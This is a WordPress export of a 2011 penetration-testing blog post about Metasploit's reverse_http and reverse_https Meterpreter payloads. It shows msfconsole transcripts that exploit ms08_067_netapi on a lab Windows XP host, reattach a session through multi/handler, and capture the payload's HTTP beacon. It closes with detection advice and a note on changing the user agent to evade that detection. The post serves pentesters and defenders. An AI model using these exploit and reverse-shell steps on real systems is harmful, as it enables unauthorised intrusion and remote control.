{"id":155,"date":"2011-07-07T13:34:36","date_gmt":"2011-07-07T12:34:36","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=155"},"modified":"2011-07-07T13:39:33","modified_gmt":"2011-07-07T12:39:33","slug":"meterpreters-new","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/07\/07\/meterpreters-new\/","title":{"rendered":"Meterpreter’s new reverse_http and reverse_https options"},"content":{"rendered":"

So we’ve all been unlucky enough to have a meterpreter session die on us, and then we’ve all been unlucky enough that we cannot re-exploit the box using the same vulnerability for some reason or another.<\/p>\n

No one I know in the White Hat scene likes to use any form of persistence with a payload; and you’d be nuts to use the bind_tcp option through fear of leaving it running. (I’ve heard horror stories of teams turning up to perform a test and finding netcat<\/a> listeners running on the targets from the previous years test!)<\/p>\n

On 29th June 2011 HD Moore released a new set of payloads<\/a>, specifically the windows\/meterpreter\/reverse_http(s) payloads we’re interested in.<\/p>\n

The most interesting thing about these new payloads is that they are no longer tied into a single TCP session; thus, if you’re connection dies they victim will attempt to reconnect to the listener automatically! Sweet!
\nThis is probably even better news for those taking exams such as CHECK Team Leader and the like where wasting time re exploiting a box could be the difference between pass and fail.<\/i><\/p>\n

And that’s it really, just use it the same way you would with reverse_tcp.
\nIf you’re using exploit\/multi\/handler make sure to set the payload correctly to re-establish the session.?<\/i><\/p>\n

Going on from this it’s important to understand when the payload will terminate. We wouldn’t want it to keep connecting back to the attacker for ever. There are some advanced options that we need to be aware of for the reverse_http and reverse_https payloads.<\/p>\n

1
2
3
4
5
6
7
8
9
<\/div><\/td>
msf exploit(<\/span>ms08_067_netapi)<\/span> ><\/span> show advanced
\nPayload advanced options (<\/span>windows\/<\/span>meterpreter\/<\/span>reverse_http)<\/span>:
\n   Name           : SessionCommunicationTimeout
\n   Current Setting: 300<\/span>
\n   Description    : The number of seconds of no activity before this session should be killed
\n
\n   Name           : SessionExpirationTimeout
\n   Current Setting: 604800<\/span>
\n   Description    : The number of seconds before this session should be forcible shut down<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

SessionExpirationTimeout<\/b> simply tells the payload to terminate regardless of an open connection or not after this amount of time. Default = 1 week<\/i>
\nSessionCommunicationTimeout<\/b> simply tells the payload to terminate itself after a period of not being able to connect back to the attacker. Default = 5 minutes<\/i><\/p>\n

There is another option (core_shutdown<\/b>) that tells the payload to terminate if the session is exited through the metasploit console.<\/p>\n

The major benefit of using the reverse_http<\/b> and reverse_https<\/b> payloads is that they follow the standard HTTP protocol and can traverse proxies.<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<\/div><\/td>
msf exploit(<\/span>ms08_067_netapi)<\/span> ><\/span> exploit
\n
\n[<\/span>*<\/span>]<\/span> Started HTTP reverse handler on http:\/\/<\/span>192.168.1.109:80<\/span>\/<\/span>
\n[<\/span>*<\/span>]<\/span> Automatically detecting the target...
\n[<\/span>*<\/span>]<\/span> Fingerprint: Windows XP - Service Pack 0<\/span> \/<\/span> 1<\/span> - lang:English
\n[<\/span>*<\/span>]<\/span> Selected Target: Windows XP SP0\/<\/span>SP1 Universal
\n[<\/span>*<\/span>]<\/span> Attempting to trigger the vulnerability...
\n[<\/span>*<\/span>]<\/span> 192.168.1.151:1449<\/span> Request received for<\/span> \/<\/span>INITM...
\n[<\/span>*<\/span>]<\/span> 192.168.1.151:1449<\/span> Staging connection for<\/span> target \/<\/span>INITM received...
\n[<\/span>*<\/span>]<\/span> Patched transport at offset 486516<\/span>...
\n[<\/span>*<\/span>]<\/span> Patched URL at offset 486248<\/span>...
\n[<\/span>*<\/span>]<\/span> Patched Expiration Timeout at offset 641856<\/span>...
\n[<\/span>*<\/span>]<\/span> Patched Communication Timeout at offset 641860<\/span>...
\n[<\/span>*<\/span>]<\/span> Meterpreter session 3<\/span> opened (<\/span>192.168.1.109:80<\/span> -><\/span> 192.168.1.151:1449<\/span>)<\/span> at 2011<\/span>-07-07 13<\/span>:03:20<\/span> +0100
\n
\nmeterpreter ><\/span> pwd<\/span>
\nC:\\
\nmeterpreter ><\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

SWEET!<\/b><\/p>\n

If you’re unfortunate to have msfconsole die your end simply start the multi\/exploit\/handler with the correct payload (http\/https)<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<\/div><\/td>
msf ><\/span> use exploit\/<\/span>multi\/<\/span>handler
\nmsf exploit(<\/span>handler)<\/span> ><\/span> set<\/span> payload windows\/<\/span>meterpreter\/<\/span>reverse_http
\npayload =><\/span> windows\/<\/span>meterpreter\/<\/span>reverse_http
\nmsf exploit(<\/span>handler)<\/span> ><\/span> set<\/span> LHOST 192.168.1.109
\nLHOST =><\/span> 192.168.1.109
\nmsf exploit(<\/span>handler)<\/span> ><\/span> set<\/span> LPORT 80<\/span>
\nLPORT =><\/span> 80<\/span>
\nmsf exploit(<\/span>handler)<\/span> ><\/span> exploit
\n
\n[<\/span>*<\/span>]<\/span> Started HTTP reverse handler on http:\/\/<\/span>192.168.1.109:80<\/span>\/<\/span>
\n[<\/span>*<\/span>]<\/span> Starting the payload handler...
\n[<\/span>*<\/span>]<\/span> 192.168.1.151:1710<\/span> Request received for<\/span> \/<\/span>CONN_e7LiknUYlilI6RW8\/<\/span>...
\n[<\/span>*<\/span>]<\/span> Incoming orphaned session CONN_e7LiknUYlilI6RW8, reattaching...
\n[<\/span>*<\/span>]<\/span> Meterpreter session 1<\/span> opened (<\/span>192.168.1.109:80<\/span> -><\/span> 192.168.1.151:1710<\/span>)<\/span> at 2011<\/span>-07-07 13<\/span>:11<\/span>:00 +0100
\n
\nmeterpreter ><\/span> pwd<\/span>
\nC:\\
\nmeterpreter ><\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

The interesting thing to note here is that this type of attack is going to be relatively easy for sys admins to notice.
\nShown here is a sample of how the payload talks back to the attacker:<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
<\/div><\/td>
POST \/<\/span>CONN_e7LiknUYlilI6RW8\/<\/span> HTTP\/<\/span>1.0<\/span>
\nUser-Agent: Meterpreter\/<\/span>Windows
\nHost: 192.168.1.109
\nContent-Length: 4<\/span>
\nPragma: no-cache
\n
\nRECV
\n
\nHTTP\/<\/span>1.1<\/span> 200<\/span> OK
\nContent-Type: application\/<\/span>octet-stream
\nConnection: close
\nServer: Rex
\nContent-Length: 0<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Simply monitoring your site inbound\/outbound traffic for any user agent along the lines of Meterpreter\/Windows<\/b> should throw up some serious concerns if it’s seen. Unfortunately this should also pretty easy for a blackhat attacker to modify:<\/p>\n

1
2
3
4
5
6
<\/div><\/td>
root@<\/span>bt:\/<\/span>pentest\/<\/span>exploits\/<\/span>framework3# find . | xargs grep -i 'Meterpreter\\\/Windows' -s1 <\/span>
\n.\/<\/span>external\/<\/span>source\/<\/span>meterpreter\/<\/span>source\/<\/span>server\/<\/span>server_setup.c- \/\/<\/span> Allocate the top-level handle
\n.\/<\/span>external\/<\/span>source\/<\/span>meterpreter\/<\/span>source\/<\/span>server\/<\/span>server_setup.c: remote-><\/span>hInternet = InternetOpen(<\/span>"Meterpreter\/Windows"<\/span>, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0<\/span>)<\/span>;
\n.\/<\/span>external\/<\/span>source\/<\/span>meterpreter\/<\/span>source\/<\/span>server\/<\/span>server_setup.c- if<\/span> (<\/span>!<\/span>remote-><\/span>hInternet)<\/span> {<\/span>
\n--<\/span>
\nroot@<\/span>bt:\/<\/span>pentest\/<\/span>exploits\/<\/span>framework3#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"

So we’ve all been unlucky enough to have a meterpreter session die on us, and then we’ve all been unlucky enough that we cannot re-exploit the box using the same vulnerability for some reason or another. No one I know in the White Hat scene likes to use any form of persistence with a payload; […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[64],"tags":[74,75,456,47],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/155"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=155"}],"version-history":[{"count":12,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/155\/revisions"}],"predecessor-version":[{"id":166,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/155\/revisions\/166"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}